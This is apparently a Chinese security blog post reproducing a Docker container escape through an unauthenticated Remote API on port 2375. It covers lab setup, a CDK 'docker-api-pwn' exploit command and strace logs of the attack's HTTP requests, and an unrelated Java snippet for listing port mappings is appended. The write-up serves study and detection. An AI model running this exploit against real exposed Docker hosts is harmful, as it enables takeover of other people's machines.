Docker Remote API 逃逸攻击(2375端口)

Docker Remote API 逃逸攻击(2375端口)

一、漏洞简介

Docker 2375端口上的 Remote API 存在未授权访问漏洞,攻击者可以借此控制宿主机dockerd创建特权容器完成逃逸。

二、前置知识

Docker 远程管理端口

为了实现集群管理,Docker提供了远程管理接口。Docker Daemon作为守护进程,运行在后台,可以执行发送到管理接口上的Docker命令。正是因为错误地使用了Docker远端接口,引起了安全漏洞,因此在启动Docker Daemon时,加入-H 0.0.0.0:2375,Docker Daemon就可以接收远端的Docker Client发送的指令。Docker是把2375端口作为非加密端口暴露出来,一般是用在测试环境中。此时,没有任何加密和认证过程,只要知道Docker主机的IP,任何人都可以管理这台主机上的容器和镜像。

三、漏洞利用路径

  1. 检查2375端口:向宿主机2375端口发送HTTP GET请求/info
  2. 准备恶意容器镜像:向宿主机2375端口发送HTTP POST请求/images/create
  3. 实施攻击:向宿主机2375端口发送HTTP POST请求,分别用/containers/create和/containers//start创建并启动恶意活动容器,其中容器配置通过JSON在create构造

四、漏洞复现

环境搭建

  • ubuntu 20.04
  • docker 23.0.2

打开docker远程访问API:

  1. 打开/usr/lib/systemd/system/docker.service文件,在[service]ExeStart=...后面追加:
-H tcp://0.0.0.0:2375 -H unix:///var/run/docker.sock

即:ExecStart=/usr/bin/dockerd -H fd:// --containerd=/run/containerd/containerd.sock -H tcp://0.0.0.0:2375 -H unix:///var/run/docker.sock

  1. 重启生效
systemctl daemon-reload # 重新加载配置文件
systemctl restart docker

运行攻击容器:

docker run --rm -it --name=docker-api-pwn -v /root/cdk:/cdk ubuntu:20.04 bash

利用:

# in container
./cdk run docker-api-pwn http://127.0.0.1:2375 "touch /host/tmp/docker-api-pwn"	#ip地址改为宿主机地址或在创建容器时使用host网络
ls /tmp/docker-api-pwn

效果:宿主机上出现/tmp/docker-api-pwn文件,完成远程任意命令执行,逃逸成功。

五、漏洞行为数据分析

  1. 检查Docker Remote API是否开启。

    264   01:39:19.448323 rt_sigreturn({mask=[]}) = 3 <0.000016>
    264   01:39:19.448394 socket(AF_INET, SOCK_STREAM|SOCK_CLOEXEC|SOCK_NONBLOCK, IPPROTO_IP) = 3 <0.000020>
    264   01:39:19.448443 connect(3, {sa_family=AF_INET, sin_port=htons(2375), sin_addr=inet_addr("172.31.102.241")}, 16) = -1 EINPROGRESS (Operation now in progress) <0.000269>
    264   01:39:19.448791 epoll_ctl(4, EPOLL_CTL_ADD, 3, {EPOLLIN|EPOLLOUT|EPOLLRDHUP|EPOLLET, {u32=293859544, u64=140458609340632}}) = 0 <0.000010>
    264   01:39:19.448845 epoll_pwait(4, [{EPOLLOUT, {u32=293859544, u64=140458609340632}}], 128, 0, NULL, 0) = 1 <0.000017>
    264   01:39:19.448922 getsockopt(3, SOL_SOCKET, SO_ERROR, [0], [4]) = 0 <0.000009>
    264   01:39:19.448962 getpeername(3, {sa_family=AF_INET, sin_port=htons(2375), sin_addr=inet_addr("172.31.102.241")}, [112->16]) = 0 <0.000009>
    264   01:39:19.449007 getsockname(3, {sa_family=AF_INET, sin_port=htons(40088), sin_addr=inet_addr("172.17.0.4")}, [112->16]) = 0 <0.000009>
    264   01:39:19.449049 setsockopt(3, SOL_TCP, TCP_NODELAY, [1], 4) = 0 <0.000009>
    264   01:39:19.449085 setsockopt(3, SOL_SOCKET, SO_KEEPALIVE, [1], 4) = 0 <0.000009>
    264   01:39:19.449120 setsockopt(3, SOL_TCP, TCP_KEEPINTVL, [30], 4) = 0 <0.000009>
    264   01:39:19.449156 setsockopt(3, SOL_TCP, TCP_KEEPIDLE, [30], 4) = 0 <0.000009>
    264   01:39:19.449263 read(3, 0xc0001a8000, 4096) = -1 EAGAIN (Resource temporarily unavailable) <0.000010>
    264   01:39:19.449352 write(3, "GET /info HTTP/1.1\r\nHost: 172.31"..., 136) = 136 <0.004713>
    264   01:39:19.454111 epoll_pwait(4, [], 128, 0, NULL, 0) = 0 <0.000009>
    264   01:39:19.454152 epoll_pwait(4,  <unfinished ...>
    265   01:39:19.458155 <... nanosleep resumed>NULL) = 0 <0.010050>
    265   01:39:19.458187 futex(0xe91c20, FUTEX_WAIT_PRIVATE, 0, {tv_sec=60, tv_nsec=0} <unfinished ...>
    264   01:39:19.471125 <... epoll_pwait resumed>[{EPOLLIN|EPOLLOUT, {u32=293859544, u64=140458609340632}}], 128, -1, NULL, 0) = 1 <0.016960>
    264   01:39:19.471182 futex(0xe91c20, FUTEX_WAKE_PRIVATE, 1) = 1 <0.000012>
    265   01:39:19.471213 <... futex resumed>) = 0 <0.013009>
    265   01:39:19.471229 sched_yield()     = 0 <0.000010>
    265   01:39:19.471261 futex(0xe91b38, FUTEX_WAIT_PRIVATE, 2, NULL <unfinished ...>
    264   01:39:19.471284 futex(0xe91b38, FUTEX_WAKE_PRIVATE, 1) = 1 <0.000011>
    265   01:39:19.471311 <... futex resumed>) = 0 <0.000040>
    265   01:39:19.471326 futex(0xe91b38, FUTEX_WAKE_PRIVATE, 1) = 0 <0.000019>
    265   01:39:19.471367 epoll_pwait(4, [], 128, 0, NULL, 0) = 0 <0.000007>
    265   01:39:19.471398 nanosleep({tv_sec=0, tv_nsec=20000},  <unfinished ...>
    264   01:39:19.471426 read(3, "HTTP/1.1 200 OK\r\nApi-Version: 1."..., 4096) = 2793 <0.000014>
    
  2. 向Docker Remote API发送构造好的恶意HTTP数据包,创建一个带不安全挂载的恶意容器。*

    264   01:39:26.915419 write(3, "POST /containers/create HTTP/1.1"..., 522 <unfinished ...>
    265   01:39:26.915457 <... nanosleep resumed>NULL) = 0 <0.000183>
    264   01:39:26.915475 <... write resumed>) = 522 <0.000041>
    
  3. 启动恶意容器,执行指定命令,实现逃逸。

    264   01:39:27.331880 write(3, "POST /containers/4da26d930eeb36b"..., 233 <unfinished ...>
    265   01:39:27.331909 <... nanosleep resumed>NULL) = 0 <0.000164>
    264   01:39:27.331928 <... write resumed>) = 233 <0.000033>
    

六、总结

本文分析了如何通过 Docker 远程管理API来完成逃逸,但该漏洞需要管理员主动配置,没有广泛存在,但利用难度很低。

七、参考链接

  1. Exploit: docker api pwn · cdk-team/CDK Wiki (github.com)
  2. vulhub/docker/unauthorized-rce at master · vulhub/vulhub (github.com)
  3. Docker开启远程安全访问
  • 9
    点赞
  • 10
    收藏
    觉得还不错? 一键收藏
  • 1
    评论
可以使用Java的Docker API来查看Docker容器的映射端口。以下是一个简单的Java示例代码: ```java import com.github.dockerjava.api.DockerClient; import com.github.dockerjava.api.command.InspectContainerResponse; import com.github.dockerjava.api.model.Container; import java.util.List; import java.util.Map; public class DockerPortMappingExample { public static void main(String[] args) { DockerClient dockerClient = DockerClientFactory.createDefault(); List<Container> containers = dockerClient.listContainersCmd().exec(); for (Container container : containers) { InspectContainerResponse inspectContainerResponse = dockerClient.inspectContainerCmd(container.getId()).exec(); Map<String, List<Map<String, String>>> portBindings = inspectContainerResponse.getHostConfig().getPortBindings(); if (portBindings != null) { for (Map.Entry<String, List<Map<String, String>>> entry : portBindings.entrySet()) { String containerPort = entry.getKey(); List<Map<String, String>> hostPorts = entry.getValue(); for (Map<String, String> hostPort : hostPorts) { String hostIp = hostPort.get("HostIp"); String hostPortNumber = hostPort.get("HostPort"); System.out.println("Container " + container.getId() + " port " + containerPort + " is mapped to " + hostIp + ":" + hostPortNumber); } } } } dockerClient.close(); } } ``` 该代码遍历所有Docker容器,并使用`inspectContainerCmd`方法检查每个容器的详细信息。然后,它获取容器端口映射绑定,遍历它们并打印出每个容器端口映射到的主机IP和端口号。 请注意,要运行此代码,您需要添加以下依赖项到您的Maven项目: ```xml <dependency> <groupId>com.github.docker-java</groupId> <artifactId>docker-java-core</artifactId> <version>3.2.5</version> </dependency> <dependency> <groupId>com.github.docker-java</groupId> <artifactId>docker-java-api</artifactId> <version>3.2.5</version> </dependency> ```

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值